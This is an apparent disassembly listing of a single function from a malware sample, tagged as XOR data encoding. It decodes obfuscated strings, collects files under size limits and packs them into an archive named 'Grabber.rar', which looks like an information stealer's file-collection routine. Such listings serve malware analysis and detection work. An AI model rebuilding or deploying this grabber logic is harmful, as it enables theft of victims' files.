Function at 0x44ad84
Capabilities:
Encode data using xor

Disassembly:
push 0x1c4
mov eax, 0x470525
call fcn.0046c4ec
and dword [ebp - 0x18c], 0
push 0x31
pop eax
movsx ecx, al
mov byte [ebp - 0x48], al
mov dword [ebp - 0x20], 0x4254756d
mov dword [ebp - 0x1c], 0x415e455a
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44adc2
push 8
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
push 8
mov dword [ebp - 0x184], eax
xor edx, edx
pop edi
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44adff
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
test eax, eax
je 0x44ae3c
mov dl, byte [ebp - 0x48]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, edi
jb 0x44ae30
mov byte [eax + 8], 0
push eax
lea ecx, [ebp - 0x90]
call fcn.00450b02
mov esi, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x46
pop ecx
mov byte [ebp - 0x48], cl
movsx ecx, cl
mov dword [ebp - 0x20], 0x14031513
mov dword [ebp - 0x1c], 0x91416
mov dword [ebp - 0x18], 0x30a0f
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44ae7a
push 0xb
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44aeb3
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
test eax, eax
je 0x44aef1
mov dl, byte [ebp - 0x48]
xor ecx, ecx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jb 0x44aee4
mov byte [eax + 0xb], 0
push eax
call fcn.0045b48c
push esi
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.004512a8
pop ecx
pop ecx
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 2
call fcn.00450a63
push 4
pop eax
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x707c702a
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44af37
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44af70
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44afae
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44afa1
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0x180]
call fcn.00450b02
mov byte [ebp - 4], 3
mov al, 0x22
push 0x50
pop ecx
mov byte [ebp - 0x1b], cl
movsx ecx, al
mov byte [ebp - 0x44], al
mov byte [ebp - 0x1c], 0xc
mov word [ebp - 0x1a], 0x5246
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44afe7
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b020
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b05e
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44b051
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0x168]
call fcn.00450b02
mov byte [ebp - 4], 4
mov al, 0x58
push 0x3c
pop ecx
mov byte [ebp - 0x1b], cl
movsx ecx, al
mov byte [ebp - 0x44], al
mov byte [ebp - 0x1c], 0x76
mov dword [ebp - 0x1a], 0x203b37
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b094
push 5
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b0cd
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b10b
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 5
jb 0x44b0fe
mov byte [eax + 5], 0
push eax
lea ecx, [ebp - 0x150]
call fcn.00450b02
mov al, 0x7b
mov byte [ebp - 4], 5
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x18141f55
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b13b
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b174
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b1b2
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44b1a5
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0x138]
call fcn.00450b02
mov al, 0x66
mov byte [ebp - 4], 6
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x16160548
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b1e2
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b21b
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b259
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44b24c
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0x120]
call fcn.00450b02
mov al, 0x1e
mov byte [ebp - 4], 7
movsx ecx, al
mov byte [ebp - 0x40], al
mov word [ebp - 0x18], 0x7630
mov byte [ebp - 0x16], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x3c], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b288
push 2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x40]
mov dword [ebp - 0x1c], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x3c], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44b2c1
push dword [0x4874a0]
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x1c]
call fcn.0043ecf9
test eax, eax
je 0x44b2ff
mov dl, byte [ebp - 0x40]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 2
jb 0x44b2f2
mov byte [eax + 2], 0
push eax
lea ecx, [ebp - 0x108]
call fcn.00450b02
push 0x3c
pop eax
mov byte [ebp - 4], 8
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x4c4c5412
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b330
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b36a
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b3a9
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44b39c
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00450b02
push 0x50
pop eax
mov byte [ebp - 4], 9
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x31253c7e
mov byte [ebp - 0x18], 0
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b3da
push 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b414
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b453
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 4
jb 0x44b446
mov byte [eax + 4], 0
push eax
lea ecx, [ebp - 0xd8]
call fcn.00450b02
mov al, 0x23
mov byte [ebp - 4], 0xa
movsx ecx, al
mov byte [ebp - 0x44], al
mov dword [ebp - 0x1c], 0x65424e0d
mov dword [ebp - 0x18], 0x464f4a
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b486
push 7
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.0043e927
mov dword [ebp - 0x184], eax
xor edx, edx
push edx
lea ecx, [ebp - 0x184]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x40], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44b4c0
push dword [0x4874a0]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
call fcn.0043ecf9
test eax, eax
je 0x44b4ff
mov dl, byte [ebp - 0x44]
xor ecx, ecx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 7
jb 0x44b4f2
mov byte [eax + 7], 0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00450b02
xor eax, eax
mov byte [ebp - 4], 0xb
push dword [ebp - 0x19c]
mov dword [ebp - 0x1b4], eax
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x180]
push eax
call fcn.004518c5
push fcn.00450a63
push 9
push 0x18
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0xd
push eax
call fcn.004535a5
push ecx
push ecx
mov edx, 0xe4e1c0
call fcn.0042dba8
and dword [ebp - 0x190], 0
lea edx, [ebp - 0xa8]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x184], 0
push dword [ebp - 0x184]
mov dword [ebp - 0x194], eax
call fcn.00452662
add esp, 0xc
push ecx
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x1c4]
call fcn.0043ff03
lea ecx, [ebp - 0x78]
call fcn.00450c8d
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.0044144e
mov esi, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x1a8]
mov dword [ebp - 0x1bc], edi
mov dword [ebp - 0x184], esi
mov dword [ebp - 0x1b8], esi
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0044144e
mov ecx, dword [ebp - 0x1c8]
xor eax, eax
xorps xmm0, xmm0
movlpd qword [ebp - 0x1a8], xmm0
and dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a8], eax
test ecx, ecx
je 0x44b622
call fcn.0042a1eb
mov eax, dword [ebp - 0x1a8]
cmp edi, eax
je 0x44b950
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0043f855
test al, al
jne 0x44b69c
mov ecx, edi
call fcn.0043f870
test edx, edx
ja 0x44b69c
jb 0x44b64d
cmp eax, 0x7a120
jae 0x44b69c
lea eax, [ebp - 0x90]
lea ecx, [edi + 0x20]
push eax
call fcn.0043f27f
push ecx
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x78]
mov esi, dword [ebp - 0x18c]
push ecx
or esi, 1
mov ecx, eax
mov dword [ebp - 0x18c], esi
call fcn.0045137b
or esi, 0x12
lea ecx, [ebp - 0x78]
push 0x478e64
mov dword [ebp - 0x18c], esi
call fcn.00452304
mov byte [ebp - 0x185], 1
test al, al
je 0x44b6a3
mov byte [ebp - 0x185], 0
mov eax, dword [ebp - 0x18c]
test al, 2
je 0x44b6c4
and eax, 0xfffffffd
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x18c], eax
call fcn.00450a63
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 4], 0x14
test al, 1
je 0x44b6e3
and eax, 0xfffffffe
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x18c], eax
call fcn.00450c8d
cmp byte [ebp - 0x185], 0
je 0x44b901
mov eax, dword [ebp - 0x1b0]
mov esi, dword [ebp - 0x1b4]
mov dword [ebp - 0x19c], eax
cmp esi, eax
je 0x44b901
push esi
lea ecx, [ebp - 0x78]
call fcn.00450b37
lea eax, [edi + 0x20]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x198], eax
push ecx
mov ecx, eax
call fcn.0043f27f
push ecx
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x17
push ecx
mov ecx, eax
call fcn.0045137b
or dword [ebp - 0x18c], 0x80
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x60]
call fcn.00451699
lea ecx, [ebp - 0x60]
mov byte [ebp - 0x185], al
call fcn.00450a63
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x16
call fcn.00450c8d
cmp byte [ebp - 0x185], 0
je 0x44b930
mov ecx, edi
call fcn.0043f855
test al, al
je 0x44b804
mov ecx, edi
call fcn.0043f870
mov esi, dword [ebp - 0x190]
add esi, eax
mov dword [ebp - 0x19c], edx
push ecx
lea eax, [ebp - 0x60]
mov dword [ebp - 0x190], esi
push eax
lea ecx, [edi + 0x20]
call fcn.0045137b
or dword [ebp - 0x18c], 0x400
mov ecx, dword [ebp - 0x194]
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 0x18
mov edx, str.Microsoft
cmp dword [ebp - 0x4c], 0x10
push 2
cmovae eax, dword [ebp - 0x60]
push 0
push eax
call fcn.0042dc39
add esp, 0xc
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x60]
call fcn.00450a63
mov ecx, edi
call fcn.0043f870
add esi, eax
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x190], esi
jmp 0x44b80a
mov esi, dword [ebp - 0x190]
mov ecx, edi
call fcn.0043f870
add esi, eax
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x190], esi
cmp esi, 0xe4e1c0
jb 0x44b856
lea ecx, [ebp - 0x78]
call fcn.00450a63
mov ecx, dword [ebp - 0x184]
test ecx, ecx
je 0x44b83e
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1c0]
test ecx, ecx
je 0x44b84d
call fcn.0042a1eb
mov byte [ebp - 4], 0xd
jmp 0x44b971
mov edi, dword [ebp - 0x198]
lea eax, [ebp - 0x60]
push ecx
push eax
mov ecx, edi
call fcn.0045137b
or dword [ebp - 0x18c], 0x2000
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x4c], 0x10
lea esi, [ebp - 0x60]
push ecx
cmovae esi, dword [ebp - 0x60]
mov ecx, edi
push eax
call fcn.0045137b
or dword [ebp - 0x18c], 0x10000
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x90]
mov eax, dword [ebp - 0x98]
inc eax
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004508aa
mov byte [ebp - 4], 0x1b
cmp dword [eax + 0x14], 0x10
jb 0x44b8c3
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
mov edx, eax
push 2
push 0
push esi
call fcn.0042dc39
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x90]
call fcn.00450a63
lea ecx, [ebp - 0x60]
call fcn.00450a63
inc dword [0x487250]
lea ecx, [ebp - 0x78]
call fcn.00450a63
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 4], 0x13
call fcn.0043ff46
mov esi, dword [ebp - 0x1b8]
mov edi, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x184], esi
jmp 0x44b622
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x14
call fcn.00450a63
mov eax, dword [ebp - 0x19c]
add esi, 0x18
jmp 0x44b702
test esi, esi
je 0x44b95b
mov ecx, esi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1c0]
test ecx, ecx
je 0x44b96a
call fcn.0042a1eb
mov dword [ebp - 4], 0xd
cmp dword [0x487250], 0
jle 0x44b9b3
mov ecx, dword [ebp - 0x194]
lea eax, [ebp - 0x19c]
push eax
lea edx, [ebp - 0x198]
call fcn.0042dc81
mov ecx, dword [0x48726c]
mov edx, str.Grabber.rar
push 3
push dword [ebp - 0x19c]
push dword [ebp - 0x198]
call fcn.0042dc39
add esp, 0x10
mov ecx, dword [ebp - 0x194]
call fcn.0042dcee
cmp dword [ebp - 0x94], 0x10
lea eax, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xa8]
and dword [ebp - 0x98], 0
mov byte [eax], 0
mov edi, dword [ebp - 0x1b0]
mov esi, dword [ebp - 0x1b4]
cmp esi, edi
je 0x44ba00
mov ecx, esi
call fcn.00450a63
add esi, 0x18
cmp esi, edi
jne 0x44b9ec
mov esi, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b0], esi
call fcn.00450bae
lea ecx, [ebp - 0xa8]
call fcn.00450a63
call fcn.0046c439
ret